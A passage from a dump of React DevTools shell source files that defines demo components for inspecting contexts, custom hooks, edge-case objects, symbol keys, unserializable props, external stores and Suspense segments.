    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {createContext, Component, useContext, useState} from 'react';\nimport PropTypes from 'prop-types';\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nfunction someNamedFunction() {}\n\nfunction formatContextForDisplay(name: string, value: any | string) {\n  return (\n    <li>\n      {name}: <pre>{JSON.stringify(value, null, 2)}</pre>\n    </li>\n  );\n}\n\nconst contextData = {\n  array: ['first', 'second', 'third'],\n  bool: true,\n  func: someNamedFunction,\n  number: 123,\n  object: {outer: {inner: {} as {...}}},\n  string: 'abc',\n  symbol: Symbol.for('symbol'),\n  null: null,\n  undefined: undefined,\n};\n\nclass LegacyContextProvider extends Component<any> {\n  static childContextTypes: {\n    array: any,\n    bool: any,\n    func: any,\n    null: any,\n    number: any,\n    object: any,\n    string: any,\n    symbol: any,\n    undefined: any,\n  } = {\n    array: PropTypes.array,\n    bool: PropTypes.bool,\n    func: PropTypes.func,\n    number: PropTypes.number,\n    object: PropTypes.object,\n    string: PropTypes.string,\n    symbol: PropTypes.symbol,\n    null: PropTypes.any,\n    undefined: PropTypes.any,\n  };\n\n  getChildContext(): {\n    array: Array<string>,\n    bool: boolean,\n    func: () => void,\n    null: null,\n    number: number,\n    object: {outer: {inner: {...}}},\n    string: string,\n    symbol: symbol,\n    undefined: void,\n  } {\n    return contextData;\n  }\n\n  render(): any {\n    return this.props.children;\n  }\n}\n\nclass LegacyContextConsumer extends Component<any> {\n  static contextTypes: {\n    array: any,\n    bool: any,\n    func: any,\n    null: any,\n    number: any,\n    object: any,\n    string: any,\n    symbol: any,\n    undefined: any,\n  } = {\n    array: PropTypes.array,\n    bool: PropTypes.bool,\n    func: PropTypes.func,\n    number: PropTypes.number,\n    object: PropTypes.object,\n    string: PropTypes.string,\n    symbol: PropTypes.symbol,\n    null: PropTypes.any,\n    undefined: PropTypes.any,\n  };\n\n  render(): any {\n    return formatContextForDisplay('LegacyContextConsumer', this.context);\n  }\n}\n\nclass LegacyContextProviderWithUpdates extends Component<any> {\n  constructor(props: any) {\n    super(props);\n    this.state = {type: 'desktop'};\n  }\n\n  getChildContext(): {type: any} {\n    return {type: this.state.type};\n  }\n\n  // $FlowFixMe[missing-local-annot]\n  handleChange = event => {\n    this.setState({type: event.target.value});\n  };\n\n  render(): any {\n    return (\n      <>\n        <LegacyFunctionalContextConsumer />\n        <div>\n          <input value={this.state.type} onChange={this.handleChange} />\n        </div>\n      </>\n    );\n  }\n}\n\nLegacyContextProviderWithUpdates.childContextTypes = {\n  type: PropTypes.string,\n};\n\n// $FlowFixMe[missing-local-annot]\nfunction LegacyFunctionalContextConsumer(props: any, context) {\n  return formatContextForDisplay('LegacyFunctionContextConsumer', context.type);\n}\nLegacyFunctionalContextConsumer.contextTypes = {\n  type: PropTypes.string,\n};\n\nconst ModernContext = createContext();\nModernContext.displayName = 'ModernContext';\nconst ArrayContext = createContext(contextData.array);\nArrayContext.displayName = 'ArrayContext';\nconst BoolContext = createContext(contextData.bool);\nBoolContext.displayName = 'BoolContext';\nconst FuncContext = createContext(contextData.func);\nFuncContext.displayName = 'FuncContext';\nconst NumberContext = createContext(contextData.number);\nNumberContext.displayName = 'NumberContext';\nconst StringContext = createContext(contextData.string);\nStringContext.displayName = 'StringContext';\nconst SymbolContext = createContext(contextData.symbol);\nSymbolContext.displayName = 'SymbolContext';\nconst NullContext = createContext(null);\nNullContext.displayName = 'NullContext';\nconst UndefinedContext = createContext(undefined);\nUndefinedContext.displayName = 'UndefinedContext';\n\nclass ModernContextType extends Component<any> {\n  static contextType: ReactContext<void> = ModernContext;\n\n  render(): any {\n    return formatContextForDisplay('ModernContextType', this.context);\n  }\n}\n\nfunction FunctionalContextConsumer() {\n  const value = useContext(StringContext);\n  return formatContextForDisplay('FunctionalContextConsumer', value);\n}\n\nconst StringContextWithUpdates = createContext({\n  string: contextData.string,\n  setString: (string: string) => {},\n});\nconst StringContextWithUpdates2 = createContext({\n  string2: contextData.string,\n  setString2: (string: string) => {},\n});\n\nfunction FunctionalContextProviderWithContextUpdates() {\n  const [string, setString] = useState(contextData.string);\n  const [string2, setString2] = useState(contextData.string);\n  const value = {string, setString};\n  const value2 = {string2, setString2};\n\n  return (\n    <StringContextWithUpdates.Provider value={value}>\n      <StringContextWithUpdates2.Provider value={value2}>\n        <FunctionalContextConsumerWithContextUpdates />\n      </StringContextWithUpdates2.Provider>\n    </StringContextWithUpdates.Provider>\n  );\n}\n\nfunction FunctionalContextConsumerWithContextUpdates() {\n  const {string, setString} = useContext(StringContextWithUpdates);\n  const {string2, setString2} = useContext(StringContextWithUpdates2);\n  const [state, setState] = useState('state');\n\n  // $FlowFixMe[missing-local-annot]\n  const handleChange = e => setString(e.target.value);\n  // $FlowFixMe[missing-local-annot]\n  const handleChange2 = e => setString2(e.target.value);\n\n  return (\n    <>\n      {formatContextForDisplay(\n        'FunctionalContextConsumerWithUpdates',\n        `context: ${string}, context 2: ${string2}`,\n      )}\n      <div>\n        context: <input value={string} onChange={handleChange} />\n      </div>\n      <div>\n        context 2: <input value={string2} onChange={handleChange2} />\n      </div>\n      <div>\n        {state}\n        <div>\n          test state:{' '}\n          <input value={state} onChange={e => setState(e.target.value)} />\n        </div>\n      </div>\n    </>\n  );\n}\n\nclass ModernClassContextProviderWithUpdates extends Component<any> {\n  constructor(props: any) {\n    super(props);\n    this.setString = string => {\n      this.setState({string});\n    };\n\n    this.state = {\n      string: contextData.string,\n      setString: this.setString,\n    };\n  }\n\n  render(): any {\n    return (\n      <StringContextWithUpdates.Provider value={this.state}>\n        <ModernClassContextConsumerWithUpdates />\n      </StringContextWithUpdates.Provider>\n    );\n  }\n}\n\nclass ModernClassContextConsumerWithUpdates extends Component<any> {\n  render(): any {\n    return (\n      <StringContextWithUpdates.Consumer>\n        {({string, setString}: {string: string, setString: string => void}) => (\n          <>\n            {formatContextForDisplay(\n              'ModernClassContextConsumerWithUpdates',\n              string,\n            )}\n            <input value={string} onChange={e => setString(e.target.value)} />\n          </>\n        )}\n      </StringContextWithUpdates.Consumer>\n    );\n  }\n}\n\ntype LegacyContextState = {\n  supportsLegacyContext: boolean,\n};\nclass LegacyContext extends React.Component {\n  state: LegacyContextState = {supportsLegacyContext: true};\n\n  static getDerivedStateFromError(error: any): LegacyContextState {\n    return {supportsLegacyContext: false};\n  }\n\n  componentDidCatch(error: any, info: any) {\n    console.info(\n      'Assuming legacy context is not supported in this React version due to: ',\n      error,\n      info,\n    );\n  }\n\n  render(): React.Node {\n    if (!this.state.supportsLegacyContext) {\n      return <p>This version of React does not support legacy context.</p>;\n    }\n\n    return (\n      <React.Fragment>\n        <LegacyContextProvider>\n          <LegacyContextConsumer />\n        </LegacyContextProvider>\n        <LegacyContextProviderWithUpdates />\n      </React.Fragment>\n    );\n  }\n}\n\nexport default function Contexts(): React.Node {\n  return (\n    <div>\n      <h1>Contexts</h1>\n      <ul>\n        <LegacyContext />\n        <ModernContext.Provider value={contextData}>\n          <ModernContext.Consumer>\n            {(value: $FlowFixMe) =>\n              formatContextForDisplay('ModernContext.Consumer', value)\n            }\n          </ModernContext.Consumer>\n          <ModernContextType />\n        </ModernContext.Provider>\n        <FunctionalContextConsumer />\n        <FunctionalContextProviderWithContextUpdates />\n        <ModernClassContextProviderWithUpdates />\n        <ArrayContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('ArrayContext.Consumer', value)\n          }\n        </ArrayContext.Consumer>\n        <BoolContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('BoolContext.Consumer', value)\n          }\n        </BoolContext.Consumer>\n        <FuncContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('FuncContext.Consumer', value)\n          }\n        </FuncContext.Consumer>\n        <NumberContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('NumberContext.Consumer', value)\n          }\n        </NumberContext.Consumer>\n        <StringContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('StringContext.Consumer', value)\n          }\n        </StringContext.Consumer>\n        <SymbolContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('SymbolContext.Consumer', value)\n          }\n        </SymbolContext.Consumer>\n        <NullContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('NullContext.Consumer', value)\n          }\n        </NullContext.Consumer>\n        <UndefinedContext.Consumer>\n          {(value: $FlowFixMe) =>\n            formatContextForDisplay('UndefinedContext.Consumer', value)\n          }\n        </UndefinedContext.Consumer>\n      </ul>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/CustomHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {\n  createContext,\n  forwardRef,\n  Fragment,\n  memo,\n  useCallback,\n  useContext,\n  useDebugValue,\n  useEffect,\n  useOptimistic,\n  useState,\n  use,\n} from 'react';\nimport {useFormState, useFormStatus} from 'react-dom';\n\nconst object = {\n  string: 'abc',\n  number: 123,\n  boolean: true,\n  null: null,\n  undefined: undefined,\n  array: ['a', 'b', 'c'],\n  object: {foo: 1, bar: 2, baz: 3},\n};\n\nfunction useNestedInnerHook() {\n  return useState(123);\n}\nfunction useNestedOuterHook() {\n  return useNestedInnerHook();\n}\n\nfunction useCustomObject() {\n  useDebugValue(object);\n  return useState(123);\n}\n\nfunction useDeepHookA() {\n  useDebugValue('useDeepHookA');\n  useDeepHookB();\n}\nfunction useDeepHookB() {\n  useDebugValue('useDeepHookB');\n  useDeepHookC();\n}\nfunction useDeepHookC() {\n  useDebugValue('useDeepHookC');\n  useDeepHookD();\n}\nfunction useDeepHookD() {\n  useDebugValue('useDeepHookD');\n  useDeepHookE();\n}\nfunction useDeepHookE() {\n  useDebugValue('useDeepHookE');\n  useDeepHookF();\n}\nfunction useDeepHookF() {\n  useDebugValue('useDeepHookF');\n}\n\nconst ContextA = createContext('A');\nconst ContextB = createContext('B');\n\nfunction FunctionWithHooks(props: any, ref: React$RefSetter<any>) {\n  const [count, updateCount] = useState(0);\n  // eslint-disable-next-line no-unused-vars\n  const contextValueA = useContext(ContextA);\n  useOptimistic<number, mixed>(1);\n  use(ContextA);\n\n  // eslint-disable-next-line no-unused-vars\n  const [_, __] = useState(object);\n\n  // Custom hook with a custom debug label\n  const debouncedCount = useDebounce(count, 1000);\n\n  useCustomObject();\n\n  const onClick = useCallback(\n    function onClick() {\n      updateCount(count + 1);\n    },\n    [count],\n  );\n\n  // Tests nested custom hooks\n  useNestedOuterHook();\n\n  // eslint-disable-next-line no-unused-vars\n  const contextValueB = useContext(ContextB);\n\n  // Verify deep nesting doesn't break\n  useDeepHookA();\n\n  return <button onClick={onClick}>Count: {debouncedCount}</button>;\n}\nconst MemoWithHooks = memo(FunctionWithHooks);\nconst ForwardRefWithHooks = forwardRef(FunctionWithHooks);\n\nfunction wrapWithHoc(\n  Component: (props: any, ref: React$RefSetter<any>) => any,\n) {\n  function Hoc() {\n    return <Component />;\n  }\n  // $FlowFixMe[prop-missing]\n  const displayName = Component.displayName || Component.name;\n  // $FlowFixMe[incompatible-type] found when upgrading Flow\n  Hoc.displayName = `withHoc(${displayName})`;\n  return Hoc;\n}\nconst HocWithHooks = wrapWithHoc(FunctionWithHooks);\n\nconst Suspendender = React.lazy(() => {\n  return new Promise<any>(resolve => {\n    setTimeout(() => {\n      resolve({\n        default: () => 'Finished!',\n      });\n    }, 3000);\n  });\n});\nfunction Transition() {\n  const [show, setShow] = React.useState(false);\n  const [isPending, startTransition] = React.useTransition();\n\n  return (\n    <div>\n      <React.Suspense fallback=\"Loading\">\n        {isPending ? 'Pending' : null}\n        {show ? <Suspendender /> : null}\n      </React.Suspense>\n      {!show && (\n        <button onClick={() => startTransition(() => setShow(true))}>\n          Transition\n        </button>\n      )}\n    </div>\n  );\n}\n\nfunction incrementWithDelay(previousState: number, formData: FormData) {\n  const incrementDelay = +formData.get('incrementDelay');\n  const shouldReject = formData.get('shouldReject');\n  const reason = formData.get('reason');\n\n  return new Promise((resolve, reject) => {\n    setTimeout(() => {\n      if (shouldReject) {\n        reject(reason);\n      } else {\n        resolve(previousState + 1);\n      }\n    }, incrementDelay);\n  });\n}\n\nfunction FormStatus() {\n  const status = useFormStatus();\n\n  return <pre>{JSON.stringify(status)}</pre>;\n}\n\nfunction Forms() {\n  const [state, formAction] = useFormState<any, any>(incrementWithDelay, 0);\n  return (\n    <form>\n      State: {state}&nbsp;\n      <label>\n        delay:\n        <input\n          name=\"incrementDelay\"\n          defaultValue={5000}\n          type=\"text\"\n          inputMode=\"numeric\"\n        />\n      </label>\n      <label>\n        Reject:\n        <input name=\"reason\" type=\"text\" />\n        <input name=\"shouldReject\" type=\"checkbox\" />\n      </label>\n      <button formAction={formAction}>Increment</button>\n      <FormStatus />\n    </form>\n  );\n}\n\nclass ErrorBoundary extends React.Component<{children?: React$Node}> {\n  state: {error: any} = {error: null};\n  static getDerivedStateFromError(error: mixed): {error: any} {\n    return {error};\n  }\n  componentDidCatch(error: any, info: any) {\n    console.error(error, info);\n  }\n  render(): any {\n    if (this.state.error) {\n      return <div>Error: {String(this.state.error)}</div>;\n    }\n    return this.props.children;\n  }\n}\n\nexport default function CustomHooks(): React.Node {\n  return (\n    <Fragment>\n      <FunctionWithHooks />\n      <MemoWithHooks />\n      <ForwardRefWithHooks />\n      <HocWithHooks />\n      <Transition />\n      <ErrorBoundary>\n        <Forms />\n      </ErrorBoundary>\n    </Fragment>\n  );\n}\n\n// Below copied from https://usehooks.com/\nfunction useDebounce(value: number, delay: number) {\n  // State and setters for debounced value\n  const [debouncedValue, setDebouncedValue] = useState(value);\n\n  // Show the value in DevTools\n  useDebugValue(debouncedValue);\n\n  useEffect(\n    () => {\n      // Update debounced value after delay\n      const handler = setTimeout(() => {\n        setDebouncedValue(value);\n      }, delay);\n\n      // Cancel the timeout if value changes (also on delay change or unmount)\n      // This is how we prevent debounced value from updating if value is changed ...\n      // .. within the delay period. Timeout gets cleared and restarted.\n      return () => {\n        clearTimeout(handler);\n      };\n    },\n    [value, delay], // Only re-call effect if value or delay changes\n  );\n\n  return debouncedValue;\n}\n// Above copied from https://usehooks.com/\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/CustomObject.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nclass Custom {\n  _number = 42;\n  get number(): number {\n    return this._number;\n  }\n}\n\nexport default function CustomObject(): React.Node {\n  return <ChildComponent customObject={new Custom()} />;\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/EdgeCaseObjects.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst objectWithModifiedHasOwnProperty = {\n  foo: 'abc',\n  bar: 123,\n  hasOwnProperty: true,\n};\n\nconst objectWithNullProto = Object.create(null);\n// $FlowFixMe[prop-missing] found when upgrading Flow\nobjectWithNullProto.foo = 'abc';\n// $FlowFixMe[prop-missing] found when upgrading Flow\nobjectWithNullProto.bar = 123;\n\nexport default function EdgeCaseObjects(): React.Node {\n  return (\n    <ChildComponent\n      objectWithModifiedHasOwnProperty={objectWithModifiedHasOwnProperty}\n      objectWithNullProto={objectWithNullProto}\n    />\n  );\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/InspectableElements.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment} from 'react';\nimport UnserializableProps from './UnserializableProps';\nimport CircularReferences from './CircularReferences';\nimport Contexts from './Contexts';\nimport CustomHooks from './CustomHooks';\nimport CustomObject from './CustomObject';\nimport EdgeCaseObjects from './EdgeCaseObjects.js';\nimport NestedProps from './NestedProps';\nimport SimpleValues from './SimpleValues';\nimport SymbolKeys from './SymbolKeys';\nimport UseMemoCache from './UseMemoCache';\nimport UseEffectEvent from './UseEffectEvent';\nimport UseSyncExternalStore from './UseSyncExternalStore';\n\n// TODO Add Immutable JS example\n\nexport default function InspectableElements(): React.Node {\n  return (\n    <Fragment>\n      <h1>Inspectable elements</h1>\n      <SimpleValues />\n      <UnserializableProps />\n      <NestedProps />\n      <Contexts />\n      <CustomHooks />\n      <CustomObject />\n      <EdgeCaseObjects />\n      <CircularReferences />\n      <SymbolKeys />\n      <UseMemoCache />\n      <UseEffectEvent />\n      <UseSyncExternalStore />\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/NestedProps.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst object = {\n  string: 'abc',\n  longString: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKJLMNOPQRSTUVWXYZ1234567890',\n  emptyString: '',\n  number: 123,\n  boolean: true,\n  undefined: undefined,\n  null: null,\n};\n\nexport default function ObjectProps(): React.Node {\n  return (\n    <ChildComponent\n      object={{\n        outer: {\n          inner: object,\n        },\n      }}\n      array={['first', 'second', 'third']}\n      objectInArray={[object]}\n      arrayInObject={{array: ['first', 'second', 'third']}}\n      deepObject={{\n        // Known limitation: we won't go deeper than several levels.\n        // In the future, we might offer a way to request deeper access on demand.\n        a: {\n          b: {\n            c: {\n              d: {\n                e: {\n                  f: {\n                    g: {\n                      h: {\n                        i: {\n                          j: 10,\n                        },\n                      },\n                    },\n                  },\n                },\n              },\n            },\n          },\n        },\n      }}\n      emptyArray={[]}\n      emptyObject={{}}\n    />\n  );\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/SimpleValues.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Component} from 'react';\n\nfunction noop() {}\n\nexport default class SimpleValues extends Component {\n  anonymousFunction: () => void = () => {};\n\n  render(): React.Node {\n    return (\n      <ChildComponent\n        string=\"abc\"\n        emptyString=\"\"\n        number={123}\n        undefined={undefined}\n        null={null}\n        nan={NaN}\n        infinity={Infinity}\n        true={true}\n        false={false}\n        function={noop}\n        anonymousFunction={this.anonymousFunction}\n        boundFunction={noop.bind(this)}\n        regex={/abc[123]+/i}\n      />\n    );\n  }\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/SymbolKeys.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst base = Object.create(Object.prototype, {\n  enumerableStringBase: {\n    value: 1,\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  },\n  // $FlowFixMe[invalid-computed-prop]\n  [Symbol('enumerableSymbolBase')]: {\n    value: 1,\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  },\n  nonEnumerableStringBase: {\n    value: 1,\n    writable: true,\n    enumerable: false,\n    configurable: true,\n  },\n  // $FlowFixMe[invalid-computed-prop]\n  [Symbol('nonEnumerableSymbolBase')]: {\n    value: 1,\n    writable: true,\n    enumerable: false,\n    configurable: true,\n  },\n});\n\nconst data = Object.create(base, {\n  enumerableString: {\n    value: 2,\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  },\n  nonEnumerableString: {\n    value: 3,\n    writable: true,\n    enumerable: false,\n    configurable: true,\n  },\n  [123]: {\n    value: 3,\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  },\n  // $FlowFixMe[invalid-computed-prop]\n  [Symbol('nonEnumerableSymbol')]: {\n    value: 2,\n    writable: true,\n    enumerable: false,\n    configurable: true,\n  },\n  // $FlowFixMe[invalid-computed-prop]\n  [Symbol('enumerableSymbol')]: {\n    value: 3,\n    writable: true,\n    enumerable: true,\n    configurable: true,\n  },\n});\n\nexport default function SymbolKeys(): React.Node {\n  return <ChildComponent data={data} />;\n}\n\nfunction ChildComponent(props: any) {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/UnserializableProps.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport Immutable from 'immutable';\n\nconst set = new Set(['abc', 123]);\nconst map = new Map([\n  ['name', 'Brian'],\n  ['food', 'sushi'],\n]);\nconst setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\nconst mapOfMaps = new Map([\n  ['first', map],\n  ['second', map],\n]);\nconst typedArray = Int8Array.from([100, -100, 0]);\nconst arrayBuffer = typedArray.buffer;\nconst dataView = new DataView(arrayBuffer);\nconst immutable = Immutable.fromJS({\n  a: [{hello: 'there'}, 'fixed', true],\n  b: 123,\n  c: {\n    '1': 'xyz',\n    xyz: 1,\n  },\n});\nconst bigInt = BigInt(123);\n\nclass Foo {\n  flag = false;\n  object: Object = {\n    a: {b: {c: {d: 1}}},\n  };\n}\n\nexport default function UnserializableProps(): React.Node {\n  return (\n    <ChildComponent\n      arrayBuffer={arrayBuffer}\n      dataView={dataView}\n      map={map}\n      set={set}\n      mapOfMaps={mapOfMaps}\n      setOfSets={setOfSets}\n      typedArray={typedArray}\n      immutable={immutable}\n      bigInt={bigInt}\n      classInstance={new Foo()}\n    />\n  );\n}\n\nfunction ChildComponent(props: any) {\n  return (\n    <>\n      <div>{props.bigInt}</div>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/UseEffectEvent.js",
    "content": "import * as React from 'react';\n\nconst {useState, useEffect} = React;\nconst useEffectEvent =\n  React.useEffectEvent || React.experimental_useEffectEvent;\n\nexport default function UseEffectEvent(): React.Node {\n  return (\n    <>\n      <SingleHookCase />\n      <HookTreeCase />\n    </>\n  );\n}\n\nfunction SingleHookCase() {\n  const onClick = useEffectEvent(() => {});\n\n  return <div onClick={onClick} />;\n}\n\nfunction useCustomHook() {\n  const [state, setState] = useState();\n  const onClick = useEffectEvent(() => {});\n  useEffect(() => {});\n\n  return [state, setState, onClick];\n}\n\nfunction HookTreeCase() {\n  const onClick = useCustomHook();\n\n  return <div onClick={onClick} />;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/UseMemoCache.js",
    "content": "import * as React from 'react';\nimport {c as useMemoCache} from 'react/compiler-runtime';\n\nexport default function UseMemoCache(): React.Node {\n  useMemoCache(1);\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/UseSyncExternalStore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nconst {useState, useEffect, useSyncExternalStore} = React;\n\n// Create a simple external store for demonstratio\nfunction createStore<T>(initialValue: T): {\n  subscribe: (cb: () => void) => () => any,\n  getSnapshot: () => T,\n  setValue: (newValue: T) => void,\n} {\n  let value = initialValue;\n  const subscribers = new Set<() => void>();\n\n  return {\n    subscribe(callback) {\n      subscribers.add(callback);\n      return () => subscribers.delete(callback);\n    },\n    getSnapshot() {\n      return value;\n    },\n    setValue(newValue) {\n      value = newValue;\n      subscribers.forEach(callback => callback());\n    },\n  };\n}\n\nconst counterStore = createStore(0);\nconst themeStore = createStore('light');\n\nexport default function UseSyncExternalStore(): React.Node {\n  return (\n    <>\n      <h2>useSyncExternalStore()</h2>\n      <SingleHookCase />\n      <HookTreeCase />\n      <MultipleStoresCase />\n    </>\n  );\n}\n\nfunction SingleHookCase(): React.Node {\n  const count = useSyncExternalStore(\n    counterStore.subscribe,\n    counterStore.getSnapshot,\n  );\n\n  return (\n    <div>\n      <h3>Single hook case</h3>\n      <p>Count: {count}</p>\n      <button onClick={() => counterStore.setValue(count + 1)}>\n        Increment\n      </button>\n      <button onClick={() => counterStore.setValue(count - 1)}>\n        Decrement\n      </button>\n    </div>\n  );\n}\n\nfunction useCounter() {\n  const count = useSyncExternalStore(\n    counterStore.subscribe,\n    counterStore.getSnapshot,\n  );\n  const [localState, setLocalState] = useState(0);\n\n  useEffect(() => {\n    // Some effect\n  }, [count]);\n\n  return {count, localState, setLocalState};\n}\n\nfunction HookTreeCase(): React.Node {\n  const {count, localState, setLocalState} = useCounter();\n\n  return (\n    <div>\n      <h3>Hook tree case</h3>\n      <p>External count: {count}</p>\n      <p>Local state: {localState}</p>\n      <button onClick={() => counterStore.setValue(count + 1)}>\n        Increment External\n      </button>\n      <button onClick={() => setLocalState(localState + 1)}>\n        Increment Local\n      </button>\n    </div>\n  );\n}\n\nfunction useTheme() {\n  const theme = useSyncExternalStore(\n    themeStore.subscribe,\n    themeStore.getSnapshot,\n  );\n\n  return theme;\n}\n\nfunction MultipleStoresCase() {\n  const count = useSyncExternalStore(\n    counterStore.subscribe,\n    counterStore.getSnapshot,\n  );\n  const theme = useTheme();\n\n  return (\n    <div style={{background: theme === 'dark' ? '#333' : '#fff'}}>\n      <h3>Multiple stores case</h3>\n      <p>Count: {count}</p>\n      <p>Theme: {theme}</p>\n      <button\n        onClick={() =>\n          themeStore.setValue(theme === 'light' ? 'dark' : 'light')\n        }>\n        Toggle Theme\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/InspectableElements/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport InspectableElements from './InspectableElements';\n\nexport default InspectableElements;\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/PartiallyStrictApp/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {StrictMode} from 'react';\n\nexport default function PartiallyStrictApp(): React.Node {\n  return (\n    <>\n      <Child />\n      <StrictMode>\n        <StrictChild />\n      </StrictMode>\n    </>\n  );\n}\n\nfunction Child() {\n  return <Grandchild />;\n}\n\nfunction StrictChild() {\n  return <Grandchild />;\n}\n\nfunction Grandchild() {\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/ReactNativeWeb/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useState} from 'react';\nimport {Button, Text, View} from 'react-native-web';\n\nexport default function ReactNativeWeb(): React.Node {\n  const [backgroundColor, setBackgroundColor] = useState('purple');\n  const toggleColor = () =>\n    setBackgroundColor(backgroundColor === 'purple' ? 'green' : 'purple');\n  return (\n    <Fragment>\n      <h1>ReactNativeWeb</h1>\n      <View>\n        <Text>auto (default) - english LTR</Text>\n        <Text>\n          {\n            '\\u0623\\u062D\\u0628 \\u0627\\u0644\\u0644\\u063A\\u0629 \\u0627\\u0644\\u0639\\u0631\\u0628\\u064A\\u0629 auto (default) - arabic RTL'\n          }\n        </Text>\n        <Text style={{textAlign: 'left'}}>\n          left left left left left left left left left left left left left left\n          left\n        </Text>\n        <Button\n          color={backgroundColor}\n          onPress={toggleColor}\n          title={`Switch background color to \"${\n            backgroundColor === 'purple' ? 'green' : 'purple'\n          }\"`}\n        />\n      </View>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shell/src/app/Segments/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nfunction deferred<T>(\n  timeoutMS: number,\n  resolvedValue: T,\n  displayName: string,\n): Promise<T> {\n  const promise = new Promise<T>(resolve => {\n    setTimeout(() => resolve(resolvedValue), timeoutMS);\n  });\n  (promise as any).displayName = displayName;\n\n  return promise;\n}\n\nconst title = deferred(100, 'Segmented Page Title', 'title');\nconst content = deferred(\n  400,\n  'This is the content of a segmented page. It loads in multiple parts.',\n  'content',\n);\nfunction Page(): React.Node {\n  return (\n    <article>\n      <h1>{title}</h1>\n      <p>{content}</p>\n    </article>\n  );\n}\n\nfunction InnerSegment({children}: {children: React.Node}): React.Node {\n  return (\n    <>\n      <h3>Inner Segment</h3>\n      <React.Suspense name=\"InnerSegment\" fallback={<p>Loading...</p>}>\n        <section>{children}</section>\n        <p>After inner</p>\n      </React.Suspense>\n    